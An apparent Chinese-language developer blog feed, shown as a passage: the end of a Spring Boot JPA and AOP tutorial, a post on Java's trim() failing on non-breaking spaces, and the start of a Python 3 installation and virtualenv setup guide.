<span class="kd">private</span> <span class="nc">String</span> <span class="n">size</span><span class="o">;</span>
<span class="nd">@Column</span><span class="o">(</span><span class="n">name</span> <span class="o">=</span> <span class="s">"robot_type"</span><span class="o">)</span>
<span class="kd">private</span> <span class="nc">String</span> <span class="n">type</span><span class="o">;</span>
<span class="kd">private</span> <span class="nc">Date</span> <span class="n">gmtCreate</span><span class="o">;</span>
<span class="kd">private</span> <span class="nc">Date</span> <span class="n">gmtModified</span><span class="o">;</span>
</code></pre></div></div>
<p>注解解释:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@Id: 主键
@GeneratedValue: 数据库表 primary key, 自增长
@Column(name=""): hibernate 自动根据属性名称创建数据库列名, 也可以手动定义列名
@Column(nullable = false): create table robot (robot_name varchar(255) not null,) .....
@Table: 数据库表名默认和类名一直, 使用该注解自定义
@CreationTimestamp: 自动填入 gmtCreate 时间
@UpdateTimestamp: 自动填入更新时间
</code></pre></div></div>
<h3 id="524-重启工程-生成数据表">5.2.4 重启工程, 生成数据表</h3>
<p>启动 springboot 工程, 可以看到数据库中新增了表 robot</p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/rrBRWODCucGgCBGVdGEL.png" alt="image" /></p>
<h3 id="525-测试代码">5.2.5 测试代码</h3>
<p>定义个接口, 继承自 <code> JpaRepository </code>:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">interface</span> <span class="nc">RobotDAO</span> <span class="kd">extends</span> <span class="nc">JpaRepository</span><span class="o"><</span><span class="nc">RobotDO</span><span class="o">,</span> <span class="nc">Integer</span><span class="o">></span> <span class="o">{</span>
<span class="o">}</span>
</code></pre></div></div>
<p>查看父类源码, 自带了 CRUD, 直接写个 Controller 来测试一下 (测试代码比较偷懒, 没有写 Service, 直接注入 DAO, 不推荐):</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@SpringBootApplication</span>
<span class="nd">@RestController</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">TestController</span> <span class="o">{</span>
<span class="nc">Logger</span> <span class="n">logger</span> <span class="o">=</span> <span class="nc">Logger</span><span class="o">.</span><span class="na">getLogger</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">getClass</span><span class="o">());</span>
<span class="nd">@Autowired</span>
<span class="kd">private</span> <span class="nc">Apple</span> <span class="n">apple</span><span class="o">;</span>
<span class="nd">@Autowired</span>
<span class="kd">private</span> <span class="nc">RobotDAO</span> <span class="n">robotDAO</span><span class="o">;</span>
<span class="nd">@GetMapping</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"/test"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">Object</span> <span class="nf">testController</span><span class="o">()</span> <span class="o">{</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"=====================Visiting test controller======================"</span><span class="o">);</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"测试插入:"</span><span class="o">);</span>
<span class="nc">RobotDO</span> <span class="n">robotDO</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">RobotDO</span><span class="o">();</span>
<span class="n">robotDO</span><span class="o">.</span><span class="na">setRobotName</span><span class="o">(</span><span class="s">"Wall-E"</span><span class="o">);</span>
<span class="n">robotDO</span><span class="o">.</span><span class="na">setSize</span><span class="o">(</span><span class="s">"Huge"</span><span class="o">);</span>
<span class="n">robotDO</span><span class="o">.</span><span class="na">setType</span><span class="o">(</span><span class="s">"AI"</span><span class="o">);</span>
<span class="n">robotDAO</span><span class="o">.</span><span class="na">save</span><span class="o">(</span><span class="n">robotDO</span><span class="o">);</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"测试查找:"</span><span class="o">);</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="n">robotDAO</span><span class="o">.</span><span class="na">findAll</span><span class="o">());</span>
<span class="k">return</span> <span class="n">apple</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>
<p>日志输出如下, 设置 <code>show-sql: true</code> 可以方便看出执行的具体 SQL:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2017-05-30 15:39:41.570 INFO 16254 <span class="nt">---</span> <span class="o">[</span>nio-9999-exec-1] troller<span class="nv">$$</span>EnhancerBySpringCGLIB<span class="nv">$$</span>efd51a80 : <span class="o">=====================</span>Visiting <span class="nb">test </span><span class="nv">controller</span><span class="o">======================</span>
2017-05-30 15:39:41.570 INFO 16254 <span class="nt">---</span> <span class="o">[</span>nio-9999-exec-1] troller<span class="nv">$$</span>EnhancerBySpringCGLIB<span class="nv">$$</span>efd51a80 : 测试插入:
Hibernate: insert into robot <span class="o">(</span>gmt_create, gmt_modified, robot_name, size, robot_type<span class="o">)</span> values <span class="o">(</span>?, ?, ?, ?, ?<span class="o">)</span>
2017-05-30 15:39:41.585 INFO 16254 <span class="nt">---</span> <span class="o">[</span>nio-9999-exec-1] troller<span class="nv">$$</span>EnhancerBySpringCGLIB<span class="nv">$$</span>efd51a80 : 测试查找:
2017-05-30 15:39:41.588 INFO 16254 <span class="nt">---</span> <span class="o">[</span>nio-9999-exec-1] o.h.h.i.QueryTranslatorFactoryInitiator : HHH000397: Using ASTQueryTranslatorFactory
Hibernate: <span class="k">select </span>robotdo0_.id as id1_0_, robotdo0_.gmt_create as gmt_crea2_0_, robotdo0_.gmt_modified as gmt_modi3_0_, robotdo0_.robot_name as robot_na4_0_, robotdo0_.size as size5_0_, robotdo0_.robot_type as robot_ty6_0_ from robot robotdo0_
2017-05-30 15:39:41.598 INFO 16254 <span class="nt">---</span> <span class="o">[</span>nio-9999-exec-1] troller<span class="nv">$$</span>EnhancerBySpringCGLIB<span class="nv">$$</span>efd51a80 : <span class="o">[</span>
RobotDO<span class="o">{</span><span class="nb">id</span><span class="o">=</span>1, <span class="nv">robotName</span><span class="o">=</span><span class="s1">'Wall-E'</span>, <span class="nv">size</span><span class="o">=</span><span class="s1">'Huge'</span>, <span class="nb">type</span><span class="o">=</span><span class="s1">'AI'</span>, <span class="nv">gmtCreate</span><span class="o">=</span>2017-05-30 15:38:24.0, <span class="nv">gmtModified</span><span class="o">=</span>2017-05-30 15:38:24.0<span class="o">}</span>,
RobotDO<span class="o">{</span><span class="nb">id</span><span class="o">=</span>2, <span class="nv">robotName</span><span class="o">=</span><span class="s1">'Wall-E'</span>, <span class="nv">size</span><span class="o">=</span><span class="s1">'Huge'</span>, <span class="nb">type</span><span class="o">=</span><span class="s1">'AI'</span>, <span class="nv">gmtCreate</span><span class="o">=</span>2017-05-30 15:38:55.0, <span class="nv">gmtModified</span><span class="o">=</span>2017-05-30 15:38:55.0<span class="o">}</span>,
RobotDO<span class="o">{</span><span class="nb">id</span><span class="o">=</span>3, <span class="nv">robotName</span><span class="o">=</span><span class="s1">'Wall-E'</span>, <span class="nv">size</span><span class="o">=</span><span class="s1">'Huge'</span>, <span class="nb">type</span><span class="o">=</span><span class="s1">'AI'</span>, <span class="nv">gmtCreate</span><span class="o">=</span>Tue May 30 15:39:41 CST 2017, <span class="nv">gmtModified</span><span class="o">=</span>Tue May 30 15:39:41 CST 2017<span class="o">}</span>
<span class="o">]</span>
</code></pre></div></div>
<p>看一下数据库:</p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/mFiSXMkjtEeVBBAgOjRA.png" alt="image" /></p>
<h3 id="525-事务操作">5.2.5 事务操作</h3>
<p>多表操作, 需要放在一个事务里, 在方法上面添加 <code>@Transactional</code> 即可.</p>
<h1 id="6-aop">6. AOP</h1>
<p>面向切面编程, 是 spring 的一大特性, 举个 controller 切面例子, 看一下 springboot 的 aop 使用.</p>
<p>参考的是这个文档 <a href="http://www.journaldev.com/2583/spring-aop-example-tutorial-aspect-advice-pointcut-joinpoint-annotations">Spring AOP Example Tutorial</a></p>
<h2 id="61-aop-依赖引入">6.1 AOP 依赖引入</h2>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c"><!--AOP依赖添加--></span>
<span class="nt"><dependency></span>
<span class="nt"><groupId></span>org.springframework.boot<span class="nt"></groupId></span>
<span class="nt"><artifactId></span>spring-boot-starter-aop<span class="nt"></artifactId></span>
<span class="nt"></dependency></span>
</code></pre></div></div>
<h2 id="62-aop-实现">6.2 AOP 实现</h2>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Aspect</span>
<span class="nd">@Component</span>
<span class="nd">@Order</span><span class="o">(</span><span class="mi">1</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ControllerAspect</span> <span class="o">{</span>
<span class="kd">private</span> <span class="nc">Logger</span> <span class="n">logger</span> <span class="o">=</span> <span class="nc">Logger</span><span class="o">.</span><span class="na">getLogger</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">getClass</span><span class="o">());</span>
<span class="nd">@Pointcut</span><span class="o">(</span><span class="s">"execution(public * com.alipay.liuqi.controller.TestController.testController())"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">webController</span><span class="o">()</span> <span class="o">{</span>
<span class="o">}</span>
<span class="nd">@Before</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"webController()"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">beforeWebController</span><span class="o">()</span> <span class="o">{</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"===BeforeWebController: start visiting==="</span><span class="o">);</span>
<span class="o">}</span>
<span class="nd">@After</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"webController()"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">afterWebController</span><span class="o">()</span> <span class="o">{</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"====AfterWebController: end visiting==="</span><span class="o">);</span>
<span class="o">}</span>
<span class="nd">@AfterThrowing</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"webController()"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">afterThrowWebController</span><span class="o">()</span> <span class="o">{</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"====AfterThrowWebController: throw exception ==="</span><span class="o">);</span>
<span class="o">}</span>
<span class="nd">@AfterReturning</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"webController()"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">afterReturnWebControlelr</span><span class="o">()</span> <span class="o">{</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"====AfterReturnWebControlelr: return normal ==="</span><span class="o">);</span>
<span class="o">}</span>
<span class="nd">@Around</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"webController()"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">aroundWebController</span><span class="o">(</span><span class="nc">ProceedingJoinPoint</span> <span class="n">proceedingJoinPoint</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Throwable</span> <span class="o">{</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"====AroundWebController: start around ==="</span><span class="o">);</span>
<span class="n">proceedingJoinPoint</span><span class="o">.</span><span class="na">proceed</span><span class="o">();</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"====AroundWebController: end around ==="</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>执行一下, 日志打印出来:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2017-05-30 17:12:21.183 INFO 16254 <span class="nt">---</span> <span class="o">[</span>nio-9999-exec-2] c.alipay.liuqi.aspect.ControllerAspect : <span class="o">====</span>AroundWebController: start around <span class="o">===</span>
2017-05-30 17:12:21.184 INFO 16254 <span class="nt">---</span> <span class="o">[</span>nio-9999-exec-2] c.alipay.liuqi.aspect.ControllerAspect : <span class="o">===</span>BeforeWebController: start <span class="nv">visiting</span><span class="o">===</span>
2017-05-30 17:12:21.189 INFO 16254 <span class="nt">---</span> <span class="o">[</span>nio-9999-exec-2] troller<span class="nv">$$</span>EnhancerBySpringCGLIB<span class="nv">$$</span>efd51a80 : I am controller
2017-05-30 17:12:21.194 INFO 16254 <span class="nt">---</span> <span class="o">[</span>nio-9999-exec-2] c.alipay.liuqi.aspect.ControllerAspect : <span class="o">====</span>AroundWebController: end around <span class="o">===</span>
2017-05-30 17:12:21.194 INFO 16254 <span class="nt">---</span> <span class="o">[</span>nio-9999-exec-2] c.alipay.liuqi.aspect.ControllerAspect : <span class="o">====</span>AfterWebController: end <span class="nv">visiting</span><span class="o">===</span>
2017-05-30 17:12:21.194 INFO 16254 <span class="nt">---</span> <span class="o">[</span>nio-9999-exec-2] c.alipay.liuqi.aspect.ControllerAspect : <span class="o">====</span>AfterReturnWebControlelr: <span class="k">return </span>normal <span class="o">===</span>
</code></pre></div></div>
<h2 id="63-aop-小结">6.3 AOP 小结</h2>
<h3 id="其他说明">其他说明</h3>
<ol>
<li>Pointcut 支持正则表达式</li>
<li>除了 @Before 和 @After, 还有其他的注解, 说明如下:</li>
</ol>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@AfterReturning: 切面点正常执行后, 才执行 AfterReturning 注解下面代码
@AfterThrowing: 切面点抛出异常后, 执行 AfterThrowing 注解对应的代码
@Around: 可以同时在所拦截方法的前后, 执行一段逻辑, 比如可以统计一下方法执行的时间
</code></pre></div></div>
<p>切面小结:</p>
<ol>
<li>定义切面点</li>
<li>实现切面点前后要做的事情</li>
<li>排好优先级</li>
</ol>
<h1 id="7-其他">7. 其他</h1>
<h2 id="71-使用--livereload--热刷新">7.1 使用 LiveReload 热刷新</h2>
<p>热部署提到了修改完代码, 不需要重启工程, 但是有时候前端页面还是需要刷新的, 查看热部署文档时, 看到了 <a href="http://docs.spring.io/spring-boot/docs/current-SNAPSHOT/reference/htmlsingle/#using-boot-devtools-livereload">LiveReload</a>, 热刷新简直好用极了!!!</p>
<h3 id="711-添加-devtools-依赖">7.1.1 添加 devtools 依赖</h3>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt"><dependency></span>
<span class="nt"><groupId></span>org.springframework.boot<span class="nt"></groupId></span>
<span class="nt"><artifactId></span>spring-boot-devtools<span class="nt"></artifactId></span>
<span class="nt"><optional></span>true<span class="nt"></optional></span> <span class="c"><!-- 这个需要为 true 热部署才有效 --></span>
<span class="nt"></dependency></span>
</code></pre></div></div>
<h3 id="712-设置-livereload-属性为-true">7.1.2 设置 livereload 属性为 true</h3>
<p>修改 <code>application-dev.profiles</code> :</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code># 配置热部署, 热刷新
spring:
devtools:
livereload:
enabled: true
</code></pre></div></div>
<h3 id="713-浏览器安装-livereload-插件">7.1.3 浏览器安装 livereload 插件</h3>
<p><a href="https://chrome.google.com/webstore/detail/livereload/jnihajbhpnppcggbcgedagnkighmdlei">插件地址</a></p>
<p>启动工程后, 日志会显示 livereload 占用的端口:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2017-05-30 17:12:09.505 INFO 16254 --- [ restartedMain] o.s.b.d.a.OptionalLiveReloadServer : LiveReload server is running on port 35729
</code></pre></div></div>
<h2 id="72-未提到的">7.2 未提到的</h2>
<p>健康性检查是工程非常重要的指标, 因为没怎么用到, 暂未提及.</p>
<ul>
<li>接口测试</li>
<li>健康性检查(Spring Boot Actuator)</li>
</ul>
<h1 id="参考文档">参考文档</h1>
<ol>
<li>
<p><a href="http://docs.spring.io/spring-boot/docs/current-SNAPSHOT/reference/htmlsingle/#boot-documentation">SpringBoot 官方文档</a></p>
</li>
<li>
<p><a href="http://www.imooc.com/learn/810">SpringBoot进阶之Web进阶–视频教程</a></p>
</li>
<li>
<p><a href="http://blog.didispace.com/springbootdata2/">Spring Boot中使用Spring-data-jpa让数据访问更简单、更优雅</a></p>
</li>
<li>
<p><a href="https://stackoverflow.com/questions/221611/creation-timestamp-and-last-update-timestamp-with-hibernate-and-mysql">stackoverflow–JPA 时间设置</a></p>
</li>
<li>
<p><a href="https://github.com/spring-projects/spring-boot">https://github.com/spring-projects/spring-boot</a></p>
</li>
</ol>
无法 trim 的空格 Non-breaking space
2017-04-07T00:00:00+00:00
http://fish267.github.io/2017/04/07/trim-nbsp
<h2 id="1-场景描述">1. 场景描述</h2>
<p>营销活动, 运营同学上传人群名单, 系统读取文件将人群落库, 有行数据混进了空格, 发奖失败.</p>
<blockquote>
<p>account_no = ‘ 226610000XXXXXXXXXX’</p>
</blockquote>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/SKfRdVlLIwmUjkOHDXAP.png" alt="image" /></p>
<!--more-->
<p>排查代码, 感觉没什么问题,</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">private</span> <span class="nc">CrowdDataInfo</span> <span class="nf">constructCrowdData</span><span class="o">(</span><span class="nc">CrowdConfigInfo</span> <span class="n">crowdConfigInfo</span><span class="o">,</span> <span class="nc">String</span> <span class="n">data</span><span class="o">,</span> <span class="kt">int</span> <span class="n">rowNum</span><span class="o">)</span> <span class="o">{</span>
<span class="o">...</span>
<span class="nc">CrowdDataInfo</span> <span class="n">crowdDataInfo</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CrowdDataInfo</span><span class="o">();</span>
<span class="n">crowdDataInfo</span><span class="o">.</span><span class="na">setAccountNo</span><span class="o">(</span><span class="n">dataArray</span><span class="o">[</span><span class="mi">0</span><span class="o">].</span><span class="na">trim</span><span class="o">());</span>
<span class="n">crowdDataInfo</span><span class="o">.</span><span class="na">setAccountType</span><span class="o">(</span><span class="n">crowdConfigInfo</span><span class="o">.</span><span class="na">getAccountType</span><span class="o">());</span>
<span class="n">crowdDataInfo</span><span class="o">.</span><span class="na">setCrowdNo</span><span class="o">(</span><span class="n">crowdConfigInfo</span><span class="o">.</span><span class="na">getCrowdNo</span><span class="o">());</span>
<span class="o">...</span>
<span class="k">return</span> <span class="n">crowdDataInfo</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Debug trim() 函数源码, 发现并没有走到判断语句中, 显然, <strong>我们应该碰到了假空格!!</strong></p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="nc">String</span> <span class="nf">trim</span><span class="o">()</span> <span class="o">{</span>
<span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="na">length</span><span class="o">;</span>
<span class="kt">int</span> <span class="n">st</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>
<span class="kt">char</span><span class="o">[]</span> <span class="n">val</span> <span class="o">=</span> <span class="n">value</span><span class="o">;</span> <span class="cm">/* avoid getfield opcode */</span>
<span class="k">while</span> <span class="o">((</span><span class="n">st</span> <span class="o"><</span> <span class="n">len</span><span class="o">)</span> <span class="o">&&</span> <span class="o">(</span><span class="n">val</span><span class="o">[</span><span class="n">st</span><span class="o">]</span> <span class="o"><=</span> <span class="sc">' '</span><span class="o">))</span> <span class="o">{</span>
<span class="n">st</span><span class="o">++;</span>
<span class="o">}</span>
<span class="k">while</span> <span class="o">((</span><span class="n">st</span> <span class="o"><</span> <span class="n">len</span><span class="o">)</span> <span class="o">&&</span> <span class="o">(</span><span class="n">val</span><span class="o">[</span><span class="n">len</span> <span class="o">-</span> <span class="mi">1</span><span class="o">]</span> <span class="o"><=</span> <span class="sc">' '</span><span class="o">))</span> <span class="o">{</span>
<span class="n">len</span><span class="o">--;</span>
<span class="o">}</span>
<span class="k">return</span> <span class="o">((</span><span class="n">st</span> <span class="o">></span> <span class="mi">0</span><span class="o">)</span> <span class="o">||</span> <span class="o">(</span><span class="n">len</span> <span class="o"><</span> <span class="n">value</span><span class="o">.</span><span class="na">length</span><span class="o">))</span> <span class="o">?</span> <span class="n">substring</span><span class="o">(</span><span class="n">st</span><span class="o">,</span> <span class="n">len</span><span class="o">)</span> <span class="o">:</span> <span class="k">this</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>
<h3 id="11-分析---和--">1.1 分析 ‘ ‘ 和 ‘ ‘;</h3>
<p>使用 python ord() 可以快速查出这两个空格的 Unicode 编号, 32 是普通的空格, 160 是特殊空格(unicode 编码是 <code>\u00A0</code>)</p>
<blockquote>
<p>本文经过 MarkDown 语法转义, 测试代码中 “固定空格” 请使用 <code>Option + Space</code> 打印, Command + v 拷贝出来的是普通空格.</p>
</blockquote>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="nb">ord</span><span class="p">(</span><span class="s">' '</span><span class="p">)</span>
<span class="mi">32</span>
<span class="o">>>></span> <span class="nb">ord</span><span class="p">(</span><span class="s">' '</span><span class="p">)</span>
<span class="mi">160</span>
<span class="c1"># 等同于
</span><span class="o">>>></span> <span class="nb">ord</span><span class="p">(</span><span class="s">'</span><span class="se">\u00A0</span><span class="s">'</span><span class="p">)</span>
<span class="mi">160</span>
</code></pre></div></div>
<p>也可以使用 Javascript 来感受 “特殊空格”, 直接打开浏览器 Console</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="nx">normal_space</span> <span class="o">=</span> <span class="dl">'</span><span class="s1"> </span><span class="dl">'</span>
<span class="dl">'</span><span class="s1"> </span><span class="dl">'</span>
<span class="o">></span> <span class="nx">special_space</span> <span class="o">=</span> <span class="dl">'</span><span class="se">\</span><span class="s1">u00A0</span><span class="dl">'</span>
<span class="dl">'</span><span class="s1"> </span><span class="dl">'</span>
<span class="o">></span> <span class="nx">normal_space</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="mi">32</span>
<span class="o">></span> <span class="nx">special_space</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="mi">160</span>
</code></pre></div></div>
<p>Java 语言直接输出字符的整形即可.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">ch</span><span class="o">=</span><span class="sc">' '</span><span class="o">;</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">((</span><span class="kt">int</span><span class="o">)</span><span class="n">ch</span><span class="o">);</span>
</code></pre></div></div>
<h3 id="12-几种语言的去空格函数">1.2 几种语言的去空格函数</h3>
<p>经过测试, 脚本语言自带的去除空格函数, 能去掉 <code>'\uu00A0'</code> 空格:</p>
<ol>
<li>Java 无法 <code>String.trim()</code> 特殊空格</li>
<li>PHP 无法 <code>trim(String)</code> 特殊空格</li>
<li>Javascript <code>String.trim()</code> 可以去除特殊空格</li>
<li>Python <code>String.strip()</code> 可以去除特殊空格</li>
</ol>
<p>经过谷歌, 发现 Unicode 为 160 的字符被称作 <a href="https://en.wikipedia.org/wiki/Non-breaking_space"><strong>“Non-breaking space”</strong></a>, 下面仔细介绍一下.</p>
<h2 id="2-什么是-no-breaking-space">2. 什么是 No-breaking Space</h2>
<p>No-breaking Space, 也被成为 Fixed Space 姑且翻译成”固定空格”, 经常出现在 HTML 与 office 软件中. 前端同学会非常熟悉, 这货就是 <code>'&nbsp'</code>.</p>
<h3 id="21-nbsp-和普通空格的区别">2.1 &nbsp 和普通空格的区别:</h3>
<p>多个空格, 在 html 中会被合并成一个, &nbsp 不会被合并.</p>
<p>如下图所示:
<img src="https://gw.alipayobjects.com/zos/rmsportal/BtrpERsTJrpiQtcbELUG.png" alt="image" /></p>
<h3 id="21-如何打印固定空格">2.1 如何打印固定空格</h3>
<table>
<thead>
<tr>
<th>系统</th>
<th style="text-align: right">输入方式</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mac OS</td>
<td style="text-align: right"> <code>Option + Space</code></td>
</tr>
<tr>
<td>Windows 系统</td>
<td style="text-align: right"><code> Ctrl + Alt + Space </code></br><code> Ctrl + Space </code></br><code> Alt + 0 + 1 + 6 + 0 </code></td>
</tr>
</tbody>
</table>
<h2 id="3-解决方式">3. 解决方式</h2>
<p>既然知道该字符编码, 在 trim 之前, 用普通空格进行 replace 就可以了.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">formattedString</span> <span class="o">=</span> <span class="n">originString</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="err">'\</span><span class="n">u00A0</span><span class="sc">','</span> <span class="err">'</span><span class="o">).</span><span class="na">trim</span><span class="o">();</span>
</code></pre></div></div>
<p>翻阅 JDK8 的文档, 自带了 <code>[isWhitespace](http://docs.oracle.com/javase/8/docs/api/java/lang/Character.html#isWhitespace-char-)</code>, 总共有三个:</p>
<blockquote>
<p>It is a Unicode space character (SPACE_SEPARATOR, LINE_SEPARATOR, or PARAGRAPH_SEPARATOR) but is not also a non-breaking space (‘\u00A0’, ‘\u2007’, ‘\u202F’).</p>
</blockquote>
<p>处理字符串时, 转换成 char[] 遍历一遍也可以解决.</p>
<h2 id="4-参考文档">4. 参考文档</h2>
<ol>
<li>
<p>https://en.wikipedia.org/wiki/Non-breaking_space</p>
</li>
<li>
<p>http://htmlhelp.com/reference/charset/iso160-191.html</p>
</li>
<li>
<p>http://docs.oracle.com/javase/8/docs/api/java/lang/Character.html#isWhitespace-char-isWhitespace</p>
</li>
<li>
<p>https://unsplash.com/photos/Hv5vQ8AkbAs</p>
</li>
</ol>
Python 开发环境初始化配置
2017-04-06T00:00:00+00:00
http://fish267.github.io/2017/04/06/python-startup-env
<p>本文介绍在 Linux环境下, Python 环境开发需要配置的内容, 包括 python3 安装, virtualenv 配置, pip 等.</p>
<h2 id="1-源码安装-python3">1. 源码安装 python3</h2>
<ol>
<li>
<p>首先去官网找到 source 地址, <a href="https://www.python.org/downloads/source/">Python Source Releases</a>, 以当前最新版本 <code>Python3.6.1</code> 为例, 打开该版本地址 <a href="https://www.python.org/downloads/release/python-361/">Python 3.6.1</a></p>
</li>
<li>
<p>选择第一个源码包, 在 Linux 系统上使用 wget 下载.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> wget https://www.python.org/ftp/python/3.6.1/Python-3.6.1.tgz ![e476766683cf5d13c0d14b77d3462fd2](https://private-alipayobjects.alipay.com/alipay-rmsdeploy-image/skylark/attach/1563/e476766683cf5d13c0d14b77d3462fd2)
</code></pre></div> </div>
</li>
<li>
<p>解压缩, 编译安装 Python3, 安装需要用到 sudo 权限, 提前切换成有 sudo 权限的用户.</p>
</li>
</ol>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">tar</span> <span class="nt">-zxvf</span> Python-3.6.1.tgz
<span class="nb">cd cd </span>Python-3.6.1
./configure <span class="o">&&</span> make <span class="o">&&</span> <span class="nb">sudo </span>make <span class="nb">install</span>
</code></pre></div></div>
<p>安装完成后, terminal 中输入 python3 就能打开解释器</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$python3</span>
Python 3.6.1 <span class="o">(</span>default, Apr 6 2017, 20:09:12<span class="o">)</span>
<span class="o">[</span>GCC 4.4.6 20110731 <span class="o">(</span>Red Hat 4.4.6-3<span class="o">)]</span> on linux
Type <span class="s2">"help"</span>, <span class="s2">"copyright"</span>, <span class="s2">"credits"</span> or <span class="s2">"license"</span> <span class="k">for </span>more information.
<span class="o">>>></span>
</code></pre></div></div>
<h2 id="2-安装包管理工具-pip">2. 安装包管理工具 pip</h2>
<h3 id="21-pip-介绍">2.1 pip 介绍</h3>
<p>pip 之于 Python, 好比 mvn 之于 Java, npm 之于 NodeJS.</p>
<p>好消息是, 如果你使用最新的 Python3 或者 Python2(Python 2 >=2.7.9 or Python 3 >=3.4), 系统默认已经安装了 pip.</p>
<p>比如上面安装的 Python3, 我们很快找到 pip 的路径:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$which</span> python3
/usr/local/bin/python3
<span class="nb">cd</span> /usr/local/bin
<span class="nv">$ls</span> pip<span class="k">*</span>
pip3 pip3.6
</code></pre></div></div>
<h3 id="22-pip-手动安装">2.2 pip 手动安装</h3>
<p>为了兼容 Python 老版本, 介绍下安装 pip 的步骤, 同样需要使用 sudo 权限:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://bootstrap.pypa.io/get-pip.py <span class="o">&&</span> <span class="nb">sudo </span>python get-pip.py
</code></pre></div></div>
<h2 id="3-配置-python-执行环境-virtualenv">3. 配置 Python 执行环境 virtualenv</h2>
<p>在开发Python应用程序的时候, 如果不同项目使用的 Django 版本不同, 第三方的包都会被pip安装到的site-packages目录, 会导致相互覆盖, 因此用到 Python 环境管理器 virtualenv 解决.</p>
<p>virtualenv 主要解决如下问题:</p>
<ol>
<li>不同项目使用不同版本的包, 相互独立</li>
<li>安装包, 不需要 sudo 权限</li>
</ol>
<h3 id="31-区分-pyenv-pyvenv-virtualenv">3.1 区分 pyenv pyvenv virtualenv</h3>
<p>首先理解 3 个容易混淆的概念:</p>
<ol>
<li>
